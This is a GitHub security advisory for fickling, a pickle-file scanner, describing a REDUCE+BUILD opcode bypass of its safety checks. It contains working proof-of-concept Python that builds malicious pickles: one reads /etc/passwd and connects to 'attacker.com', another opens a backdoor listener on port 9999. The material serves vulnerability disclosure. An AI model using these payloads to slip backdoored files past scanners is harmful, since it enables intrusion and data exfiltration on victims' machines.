Skip to content

Fickling has safety check bypass via REDUCE+BUILD opcode sequence

Moderate severity GitHub Reviewed Published Feb 21, 2026 in trailofbits/fickling • Updated Feb 25, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.7

Patched versions

0.1.8

Description

Assessment

It is believed that the analysis pass works as intended, REDUCE and BUILD are not at fault here. The few potentially unsafe modules have been added to the blocklist (trailofbits/fickling@0c4558d).

Original report

Summary

All 5 of fickling's safety interfaces — is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager — report LIKELY_SAFE / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (socketserver.TCPServer), process persistence (signal.signal), outbound data exfiltration (smtplib.SMTP), and file creation on disk (sqlite3.connect). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:

  1. likely_safe_imports over-inclusion (fickle.py:432-435): When fickling decompiles a pickle and encounters from smtplib import SMTP, it adds "SMTP" to the likely_safe_imports set because smtplib is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.

  2. OvertlyBadEvals exemption (analysis.py:301-310): The main call-level safety checker skips any call where the function name is in likely_safe_imports. So SMTP('attacker.com') is never flagged.

  3. __setstate__ exclusion (fickle.py:443-446): BUILD generates a __setstate__ call which is excluded from the non_setstate_calls list. This means BUILD's call is invisible to OvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents the UnusedVariables checker from flagging the unused assignment (the only remaining detection mechanism).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

Affected APIs

  • fickling.is_likely_safe() - returns True for bypass payloads
  • fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
  • fickling --check-safety CLI - exits with code 0
  • fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
  • fickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A single pickle that reads /etc/passwd AND opens a network connection to an attacker's server, yet fickling reports it as LIKELY_SAFE:

import io, struct, tempfile, os

def sbu(s):
    """SHORT_BINUNICODE opcode helper."""
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_exfiltration_pickle():
    """
    Single pickle that:
      1. Reads /etc/passwd via fileinput.input()
      2. Opens TCP connection to attacker via smtplib.SMTP()
    Both operations pass as LIKELY_SAFE.
    """
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME
    payload = io.BytesIO()

    # --- Operation 1: Read /etc/passwd ---
    payload.write(sbu("fileinput") + sbu("input") + b"\x93")  # STACK_GLOBAL
    payload.write(sbu("/etc/passwd") + b"\x85")                # arg + TUPLE1
    payload.write(b"R")                                         # REDUCE
    payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b")  # BUILD
    payload.write(b"0")                                         # POP (discard result)

    # --- Operation 2: Connect to attacker ---
    payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93")     # STACK_GLOBAL
    payload.write(sbu("attacker.com") + b"\x85")               # arg + TUPLE1
    payload.write(b"R")                                         # REDUCE
    payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b")  # BUILD
    payload.write(b".")                                         # STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

# Generate and test
data = make_exfiltration_pickle()
with open("/tmp/exfil.pkl", "wb") as f:
    f.write(data)

import fickling
print(fickling.is_likely_safe("/tmp/exfil.pkl"))
# Output: True  <-- BYPASSED (file read + network connection in one pickle)

fickling decompiles this to:

from fileinput import input
_var0 = input('/etc/passwd')       # reads /etc/passwd
_var1 = _var0
_var1.__setstate__({'_x': 'y'})
from smtplib import SMTP
_var2 = SMTP('attacker.com')       # opens TCP connection to attacker
_var3 = _var2
_var3.__setstate__({'_x': 'y'})
result = _var3

Yet reports LIKELY_SAFE because every call is either in likely_safe_imports (skipped) or is __setstate__ (excluded).

CLI verification:

$ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?"
EXIT: 0    # BYPASSED - file read + network access passes as safe

always_check_safety() verification:

import fickling, pickle

fickling.always_check_safety()

# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
    result = pickle.load(f)
# No exception raised — malicious code executed successfully

check_safety() context manager verification:

import fickling, pickle

with fickling.check_safety():
    with open("/tmp/exfil.pkl", "rb") as f:
        result = pickle.load(f)
# No exception raised — malicious code executed successfully

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

import io, struct

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_backdoor_listener():
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME
    payload = io.BytesIO()

    # socketserver.TCPServer via STACK_GLOBAL
    payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")

    # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
    payload.write(b"(")                                    # MARK
    payload.write(sbu("0.0.0.0"))                          # host string
    payload.write(b"J" + struct.pack("<i", 9999))          # BININT port
    payload.write(b"t")                                    # TUPLE

    # Handler class via STACK_GLOBAL
    payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")

    payload.write(b"\x86")  # TUPLE2 -> (address, handler)
    payload.write(b"R")     # REDUCE -> TCPServer(address, handler)
    payload.write(b"N")     # NONE
    payload.write(b"b")     # BUILD(None) -> no-op
    payload.write(b".")     # STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
    f.write(data)

print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True  <-- BYPASSED

server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!")  # succeeds
s.close()
server.server_close()

The TCPServer constructor calls server_bind() and server_activate() (which calls listen()), so the port is open and accepting connections immediately after pickle.loads() returns.

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:

  • Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls server_bind() and server_activate(), so the port is open immediately after pickle.loads() returns.
  • Process persistence: signal.signal(SIGTERM, SIG_IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.
  • Outbound exfiltration channels: smtplib.SMTP('attacker.com'), ftplib.FTP('attacker.com'), imaplib.IMAP4('attacker.com'), poplib.POP3('attacker.com') open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.
  • File creation on disk: sqlite3.connect(path) creates a file at an attacker-chosen path as a side effect of the constructor.
  • Additional bypassed modules: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread

A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.

This affects any application using fickling as a safety gate for ML model files.

Suggested Fix

Restrict likely_safe_imports to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the OvertlyBadEvals exemption for likely_safe_imports or expand the UNSAFE_IMPORTS blocklist to cover network/file/compilation modules.

Relationship to GHSA-83pf-v6qq-pwmr

GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to UNSAFE_IMPORTS does NOT fix this vulnerability because the root cause is the OvertlyBadEvals exemption for likely_safe_imports (analysis.py:304-310), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include socketserver, signal, sqlite3, threading, compileall, and others beyond the scope of that advisory.

References

Published to the GitHub Advisory Database Feb 25, 2026
Reviewed Feb 25, 2026
Last updated Feb 25, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-mhc9-48gj-9gp3

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.